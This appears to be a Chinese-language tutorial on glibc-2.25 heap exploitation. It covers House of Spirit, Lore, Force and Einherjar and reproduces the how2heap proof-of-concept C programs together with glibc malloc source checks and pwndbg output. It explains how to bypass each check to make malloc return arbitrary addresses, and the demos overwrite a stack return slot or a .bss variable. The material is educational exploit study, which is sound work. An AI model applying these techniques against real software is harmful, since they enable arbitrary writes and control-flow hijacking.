House of 系列


引言

文中使用的libc版本: glibc-2.25

本篇内容是关于house系列的攻击思路以及绕过手法的,也是回炉的第二篇。

House of spirit

fastbin中的house of spirit实际上是伪造一个chunk,然后将他插入fastbin list。这样以来再一次malloc时就可以分配得到这个fake_chunk了。

how2heap-hosue of spirit:

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack.\n");

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is  just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first     starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks   [9]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to   accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64) . The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the  IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded   to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all   be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is >     2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to  pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region  inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this  chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p,    which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

这段代码内容不多,但是有些写法确实第一次见:

unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

其中,__attribute__((aligned(16)))是使fake_chunks以16字节对齐(64位下的chunk对齐方式),大小为10的数组实际上就相当于一个0x40的chunk,不过这里将fake_chunks[8]fake_chunks[9]作为下一个chunk的head,所以这里的fake_chunk实际大小是0x30:

pwndbg> p &fake_chunks
$1 = (unsigned long long (*)[10]) 0x7fffffffdc40
pwndbg> x/16gx 0x7fffffffdc40
0x7fffffffdc40: 0x0000000000000001  0x00007fffffffdcc0 <-- fake_chunks[1],size
0x7fffffffdc50: 0x00007ffff7ffe168  0x0000000000f0b5ff <--+
0x7fffffffdc60: 0x0000000000000001  0x00000000004008ed    |
0x7fffffffdc70: 0x00007fffffffdc9e  0x0000000000000000  fake_chunk的数据域
0x7fffffffdc80: 0x00000000004008a0  0x00000000004005b0    |
0x7fffffffdc90: 0x00007fffffffdd80  0xfe221704c1789000    |
0x7fffffffdca0: 0x00000000004008a0  0x00007ffff7a2d830 <--+
0x7fffffffdcb0: 0x0000000000000001  0x00007fffffffdd88 <-- fake_chunks[9],下一个chunksize

布置好fake_chunk的size位以及下一个chunk的size位之后,通过释放fake_chunks[2],就可以将fake_chunk插入fastbin的链表中了(0x30):

a = &fake_chunks[2];
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a);

调试可以发现,这个时候fastbin链表以及存在一个chunk了:

pwndbg> fast
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffdc40 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

接着通过源码来看这个绕过,首先是涉及的几个宏:

/* Check if m has acceptable alignment */

#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)

/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))

/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)->mchunk_size)

对本chunk的size检查:

  if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
    {
      errstr = "free(): invalid size";
      goto errout;
    }

  check_inuse_chunk(av, p);

  /*
    If eligible, place chunk on a fastbin so it can be found
    and used quickly in malloc.
  */

  if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())

这一点还是比较好理解的,也容易想到。关键在对下一个chunk的检测,正清情况下不看源码对这一点是比较模糊的:

   nextsize = chunksize(nextchunk);
    if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0)
    || __builtin_expect (nextsize >= av->system_mem, 0))
      {
    errstr = "free(): invalid next size (normal)";
    goto errout;
      }

不难发现,在free一个fastbin时,也会同时对下一个chunk的size做一个范围的约束。这一点在how2heap的代码里其实也有说明:

fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is >     2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to  pass the nextsize integrity checks. No need for fastbin size.\n");

综上所述,house of spirit的利用实际上就是绕过这两个size的检查,进而达到分配一个任意地址的chunk的目的。

House of Lore

这个手法实际上是通过伪造一个chunk(small chunk)完成任意地址的读写,先看看how2heap的代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ puts("Nice jump d00d"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
  fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------

  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(100);


  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
  memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}

这里实际上只需要绕过一个检测:

if (in_smallbin_range (nb))
  {
    idx = smallbin_index (nb);
    bin = bin_at (av, idx);

    if ((victim = last (bin)) != bin)
      {
        if (victim == 0) /* initialization check */
          malloc_consolidate (av);
        else
          {
            bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
              {
                errstr = "malloc(): smallbin double linked list corrupted";
                goto errout;
              }
            set_inuse_bit_at_offset (victim, nb);
            bin->bk = bck;
            bck->fd = bin;

实际上这里只有这么关键一个判断,当然,前面的victim !=0是前提:

if (__glibc_unlikely (bck->fd != victim))

这一部分实际上就对应how2heap代码中的:

stack_buffer_1[2] = victim_chunk;

而how2heap中:

victim[1] = (intptr_t)stack_buffer_1;

实际上是将正常的chunk的bk指针指向我们伪造的chunk,构成一个双链表,进而使在malloc时能够得到我们伪造的chunk,而how2heap的代码中实际上是伪造了两个chunk,目的是防止我们申请伪造的chunk时触发上述的检测,造成程序crash。 大致过程如下:

Alt

几点注意: 1.设置victim的bk指针时需要先将其释放,然后再写入值,否则在释放时修改的值会被覆盖

2.释放一个small bin时会将其放入unsorted bin,所以how2heap的代码中在释放之后先申请了一个大的chunk(比释放的chunk大),这个时候,大的chunk有top chunk得到而先前释放到unsorted bin的chunk就会被插入到small bin list。如果申请的chunk比unsorted bin的chunk小,那么就会将这个chunk分割

3.注意到在释放chunk前先申请的一个大的chunk,这是防止释放small bin大小的chunk时其与top chunk合并

House of Force

/*

   This PoC works also with ASLR enabled.
   It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
   If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
   ( http://phrack.org/issues/66/10.html )

   Tested in Ubuntu 14.04, 64bit.

*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
  fprintf(stderr, "\nWelcome to the House of Force\n\n");
  fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
  fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
    "and is the chunk that will be resized when malloc asks for more space from the os.\n");  
  fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
  fprintf(stderr, "Its current value is: %s\n", bss_var);
  fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
  intptr_t *p1 = malloc(256);
  fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);  
  fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
  int real_size = malloc_usable_size(p1);
  fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);  
  fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");  
  //----- VULNERABILITY ----
  intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
  fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);
  fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
  fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
  *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
  fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
  //------------------------  
  fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
     "Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
     "overflow) and will then be able to allocate a chunk right over the desired region.\n");
  /*
   * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
   * new_top = old_top + nb
   * nb = new_top - old_top
   * req + 2sizeof(long) = new_top - old_top
   * req = new_top - old_top - 2sizeof(long)
   * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
   * req = dest - old_top - 4*sizeof(long)
   */
  unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
  fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
     "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
  void *new_ptr = malloc(evil_size);
  fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);  
  void* ctr_chunk = malloc(100);
  fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
  fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
  fprintf(stderr, "Now, we can finally overwrite that value:\n");
  fprintf(stderr, "... old string: %s\n", bss_var);
  fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
  strcpy(ctr_chunk, "YEAH!!!");
  fprintf(stderr, "... new string: %s\n", bss_var);
  // some further discussion:
  //fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
  //fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
  //  "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
  //fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
  //fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
  //fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
  //  "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
  //fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
  //fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);  
  //fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

结合代码注释和流程,可以发现这种攻击手法实际上是修改top chunk的size位,使其无限大,然后通过分配一个特定大小的无用chunk,进而是top chunk到一个特定的位置,使得在下一次申请时分配得到一个想要位置的chunk。

这个过程关键点在计算偏移上,实际上似乎并没有绕过什么检查。。。。。

注释中标明了完整的计算推到过程:

The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
1. new_top = old_top + nb
2. nb = new_top - old_top
3. req + 2sizeof(long) = new_top - old_top
4. req = new_top - old_top - 2sizeof(long)
5. req = dest - 2sizeof(long) - old_top - 2sizeof(long)
6. req = dest - old_top - 4*sizeof(long)

因为堆的地址是向上增长的,所以这里的第1,2步也很好理解,申请一个chunk之后,新的top chunk位于申请大小的chunk加上原来的chunk。

然后第三步,将nb替换成 req + 2sizeof(long),这里的req实际上是malloc的垃圾chunk的data域大小,加上size和prev_size自然就是chunk的真实大小了,即nb的值。

第四步,就是一个简单的等式变换;直接看第五步,假设我们想要malloc返回到dest处,那么在malloc一个垃圾chunk之后,新的top chunk应该就在dest - 2*sizeof(long)处,这样在次malloc时才会返回到dest处,所以有了第五步的替换。

到了第六步,实际上就是一个等式的化简。

综上所述,我们其实可以得到一个计算公式,即在修改top chunk的size域之后,想要分配一个chunk到指定位置,我们需要先申请一个垃圾chunk,而这个chunk的大小计算式为:req = dest - old_top - 4*sizeof(long),dest为目标地址。

在malloc一个req大小的chunk之后,就可以得到一个指定位置的chunk了:

pwndbg> p &ctr_chunk
$5 = (void **) 0x7fffffffdd68
pwndbg> x/x 0x7fffffffdd68
0x7fffffffdd68: 0x0000000000602060
pwndbg>

House of Einherjar

这个方式是通过null by one修改某个chunk(p)p->prev_inuse位,使前一个chunk被识别为空闲,接着修改p->prev_size。这样释放之后就会向前合并,下一次再malloc时,就会分配到p-sizeof(size_t)*2 - fake_size处。所以,我们可以通过fake_size来完成任意地址的分配,示意图如下:

Alt

how2heap源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

/*
   Credit to st4g3r for publishing this technique
   The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
   This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/

int main()
{
  fprintf(stderr, "Welcome to House of Einherjar!\n");
  fprintf(stderr, "Tested in Ubuntu 16.04 64bit.\n");
  fprintf(stderr, "This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");

  uint8_t* a;
  uint8_t* b;
  uint8_t* d;

  fprintf(stderr, "\nWe allocate 0x38 bytes for 'a'\n");
  a = (uint8_t*) malloc(0x38);
  fprintf(stderr, "a: %p\n", a);

  int real_a_size = malloc_usable_size(a);
  fprintf(stderr, "Since we want to overflow 'a', we need the 'real' size of 'a' afterrounding: %#x\n", real_a_size);

  // create a fake chunk
  fprintf(stderr, "\nWe create a fake chunk wherever we want, in this case we'll create thechunk on the stack\n");
  fprintf(stderr, "However, you can also create the chunk in the heap or the bss, as longas you know its address\n");
  fprintf(stderr, "We set our fwd and bck pointers to point at the fake_chunk in order topass the unlink checks\n");
  fprintf(stderr, "(although we could do the unsafe unlink technique here in some scenarios)\n");

  size_t fake_chunk[6];

  fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
  fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
  fake_chunk[2] = (size_t) fake_chunk; // fwd
  fake_chunk[3] = (size_t) fake_chunk; // bck
  fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
  fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize


  fprintf(stderr, "Our fake chunk at %p looks like:\n", fake_chunk);
  fprintf(stderr, "prev_size (not used): %#lx\n", fake_chunk[0]);
  fprintf(stderr, "size: %#lx\n", fake_chunk[1]);
  fprintf(stderr, "fwd: %#lx\n", fake_chunk[2]);
  fprintf(stderr, "bck: %#lx\n", fake_chunk[3]);
  fprintf(stderr, "fwd_nextsize: %#lx\n", fake_chunk[4]);
  fprintf(stderr, "bck_nextsize: %#lx\n", fake_chunk[5]);

  /* In this case it is easier if the chunk size attribute has a least significant byte with
   * a value of 0x00. The least significant byte of this will be 0x00, because the size of
   * the chunk includes the amount requested plus some amount required for the metadata. */
  b = (uint8_t*) malloc(0xf8);
  int real_b_size = malloc_usable_size(b);

  fprintf(stderr, "\nWe allocate 0xf8 bytes for 'b'.\n");
  fprintf(stderr, "b: %p\n", b);

  uint64_t* b_size_ptr = (uint64_t*)(b - 8);
  /* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/

  fprintf(stderr, "\nb.size: %#lx\n", *b_size_ptr);
  fprintf(stderr, "b.size is: (0x100) | prev_inuse = 0x101\n");
  fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
  a[real_a_size] = 0;
  fprintf(stderr, "b.size: %#lx\n", *b_size_ptr);
  fprintf(stderr, "This is easiest if b.size is a multiple of 0x100 so you "
           "don't change the size of b, only its prev_inuse bit\n");
  fprintf(stderr, "If it had been modified, we would need a fake chunk inside "
           "b where it will try to consolidate the next chunk\n");

  // Write a fake prev_size to the end of a
  fprintf(stderr, "\nWe write a fake prev_size to the last %lu bytes of a so that "
           "it will consolidate with our fake chunk\n", sizeof(size_t));
  size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
  fprintf(stderr, "Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
  *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

  //Change the fake chunk's size to reflect b's new prev_size
  fprintf(stderr, "\nModify fake chunk's size to reflect b's new prev_size\n");
  fake_chunk[1] = fake_size;

  // free b and it will consolidate with our fake chunk
  fprintf(stderr, "Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
  free(b);
  fprintf(stderr, "Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

  //if we allocate another chunk before we free b we will need to
  //do two things:
  //1) We will need to adjust the size of our fake chunk so that
  //fake_chunk + fake_chunk's size points to an area we control
  //2) we will need to write the size of our fake chunk
  //at the location we control.
  //After doing these two things, when unlink gets called, our fake chunk will
  //pass the size(P) == prev_size(next_chunk(P)) test.
  //otherwise we need to make sure that our fake chunk is up against the
  //wilderness

  fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk\n");
  d = malloc(0x200);
  fprintf(stderr, "Next malloc(0x200) is at %p\n", d);
}

首先是申请一个用于单字节溢出的chunk:

a = (uint8_t*) malloc(0x38);

此处大小是0x38,因为堆是以16字节对齐的,这里申请0x38大小的数据,会使用后一个chunk的prev_size位,这样只需要一个单字节就可修改后一个chunk的prev_inuse

此外fake_chunk需要绕过P->bk->size == P->prev_size,所以有如下布局:

fake_chunk[0] = 0x100;
fake_chunk[1] = 0x100;
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize

还有一点需要注意的是,fake_chunk的大小应该在smallbin的范围,因为fastbin不会合并。

然后再申请一个smallbin范围内的chunk,准备工作就完成了:

b = (uint8_t*) malloc(0xf8);

这里申请的大小是0xf8,加上0x10的元数据,大小其实是0x100(16字节对齐,少的0x8字节使用下一个chunk的prev_size域,使用这个大小的好处是0x100的低字节是00(或01),也就是说可以直接覆盖低字节为00而不需要再写入原chunk的大小

准备工作完成之后,就可以修改对应数据了:

a[real_a_size] = 0;

数组越界的单字节溢出,修改目标chunk的prev_inuse为为0,使前一个chunk被识别为空闲。接着就是修改两处的size域:

*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

fake_chunk[1] = fake_size;

修改完成之后,释放目标chunk,再次申请时就可以得到fake_chunk了:

free(b);
d = malloc(0x200);
pwndbg> p &fake_chunk
$7 = (size_t (*)[6]) 0x7fffffffdd30
pwndbg> p &d
$8 = (uint8_t **) 0x7fffffffdd28
pwndbg> x/x 0x7fffffffdd28
0x7fffffffdd28: 0x00007fffffffdd40
pwndbg>